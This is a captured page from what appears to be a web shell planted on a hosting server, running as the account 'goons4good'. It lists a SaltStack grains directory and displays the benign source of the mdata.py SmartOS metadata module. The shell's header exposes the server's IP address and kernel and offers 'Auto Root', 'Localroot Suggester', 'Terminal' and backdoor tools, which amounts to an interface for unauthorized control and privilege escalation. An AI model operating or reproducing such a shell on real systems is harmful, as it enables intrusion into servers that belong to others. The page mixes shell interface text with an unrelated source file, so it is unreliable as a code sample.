Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
salt /
grains /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
32
B
-rw-r--r--
2022-05-16 09:16
chronos.py
535
B
-rw-r--r--
2022-05-16 09:16
cimc.py
635
B
-rw-r--r--
2022-05-16 09:16
core.py
111.98
KB
-rw-r--r--
2022-05-16 09:16
disks.py
5.62
KB
-rw-r--r--
2022-05-16 09:16
esxi.py
2.52
KB
-rw-r--r--
2022-05-16 09:16
extra.py
2.77
KB
-rw-r--r--
2022-05-16 09:16
fibre_channel.py
1.76
KB
-rw-r--r--
2022-05-16 09:16
fx2.py
3.06
KB
-rw-r--r--
2022-05-16 09:16
iscsi.py
2.35
KB
-rw-r--r--
2022-05-16 09:16
junos.py
1.51
KB
-rw-r--r--
2022-05-16 09:16
lvm.py
1.43
KB
-rw-r--r--
2022-05-16 09:16
marathon.py
928
B
-rw-r--r--
2022-05-16 09:16
mdadm.py
800
B
-rw-r--r--
2022-05-16 09:16
mdata.py
4.09
KB
-rw-r--r--
2022-05-16 09:16
metadata.py
2.7
KB
-rw-r--r--
2022-05-16 09:16
minion_process.py
988
B
-rw-r--r--
2022-05-16 09:16
napalm.py
11.2
KB
-rw-r--r--
2022-05-16 09:16
nvme.py
1.16
KB
-rw-r--r--
2022-05-16 09:16
nxos.py
901
B
-rw-r--r--
2022-05-16 09:16
opts.py
353
B
-rw-r--r--
2022-05-16 09:16
panos.py
640
B
-rw-r--r--
2022-05-16 09:16
pending_reboot.py
650
B
-rw-r--r--
2022-05-16 09:16
philips_hue.py
1.03
KB
-rw-r--r--
2022-05-16 09:16
rest_sample.py
1.03
KB
-rw-r--r--
2022-05-16 09:16
smartos.py
6.32
KB
-rw-r--r--
2022-05-16 09:16
ssh_sample.py
927
B
-rw-r--r--
2022-05-16 09:16
zfs.py
2.13
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" SmartOS Metadata grain provider :maintainer: Jorge Schrauwen <sjorge@blackdot.be> :maturity: new :depends: salt.utils, salt.module.cmdmod :platform: SmartOS .. versionadded:: 2017.7.0 """ import logging import os import salt.modules.cmdmod import salt.utils.dictupdate import salt.utils.json import salt.utils.path import salt.utils.platform __virtualname__ = "mdata" __salt__ = { "cmd.run": salt.modules.cmdmod.run, } log = logging.getLogger(__name__) def __virtual__(): """ Figure out if we need to be loaded """ ## collect mdata grains in a SmartOS zone if salt.utils.platform.is_smartos_zone(): return __virtualname__ ## collect mdata grains in a LX zone if salt.utils.platform.is_linux() and "BrandZ virtual linux" in os.uname(): return __virtualname__ return False def _user_mdata(mdata_list=None, mdata_get=None): """ User Metadata """ grains = {} if not mdata_list: mdata_list = salt.utils.path.which("mdata-list") if not mdata_get: mdata_get = salt.utils.path.which("mdata-get") if not mdata_list or not mdata_get: return grains for mdata_grain in __salt__["cmd.run"]( mdata_list, ignore_retcode=True ).splitlines(): if mdata_grain.startswith("ERROR:"): log.warning("mdata-list returned an error, skipping mdata grains.") continue mdata_value = __salt__["cmd.run"]( "{} {}".format(mdata_get, mdata_grain), ignore_retcode=True ) if not mdata_grain.startswith("sdc:"): if "mdata" not in grains: grains["mdata"] = {} log.debug("found mdata entry %s with value %s", mdata_grain, mdata_value) mdata_grain = mdata_grain.replace("-", "_") mdata_grain = mdata_grain.replace(":", "_") grains["mdata"][mdata_grain] = mdata_value return grains def _sdc_mdata(mdata_list=None, mdata_get=None): """ SDC Metadata specified by there specs https://eng.joyent.com/mdata/datadict.html """ grains = {} sdc_text_keys = [ "uuid", "server_uuid", "datacenter_name", "hostname", "dns_domain", "alias", ] sdc_json_keys = [ "resolvers", "nics", "routes", ] if not mdata_list: mdata_list = salt.utils.path.which("mdata-list") if not mdata_get: mdata_get = salt.utils.path.which("mdata-get") if not mdata_list or not mdata_get: return grains for mdata_grain in sdc_text_keys + sdc_json_keys: mdata_value = __salt__["cmd.run"]( "{} sdc:{}".format(mdata_get, mdata_grain), ignore_retcode=True ) if mdata_value.startswith("ERROR:"): log.warning( "unable to read sdc:%s via mdata-get, mdata grain may be incomplete.", mdata_grain, ) continue if not mdata_value.startswith("No metadata for "): if "mdata" not in grains: grains["mdata"] = {} if "sdc" not in grains["mdata"]: grains["mdata"]["sdc"] = {} log.debug( "found mdata entry sdc:%s with value %s", mdata_grain, mdata_value ) mdata_grain = mdata_grain.replace("-", "_") mdata_grain = mdata_grain.replace(":", "_") if mdata_grain in sdc_json_keys: grains["mdata"]["sdc"][mdata_grain] = salt.utils.json.loads(mdata_value) else: grains["mdata"]["sdc"][mdata_grain] = mdata_value return grains def mdata(): """ Provide grains from the SmartOS metadata """ grains = {} mdata_list = salt.utils.path.which("mdata-list") mdata_get = salt.utils.path.which("mdata-get") grains = salt.utils.dictupdate.update( grains, _user_mdata(mdata_list, mdata_get), merge_lists=True ) grains = salt.utils.dictupdate.update( grains, _sdc_mdata(mdata_list, mdata_get), merge_lists=True ) return grains # vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4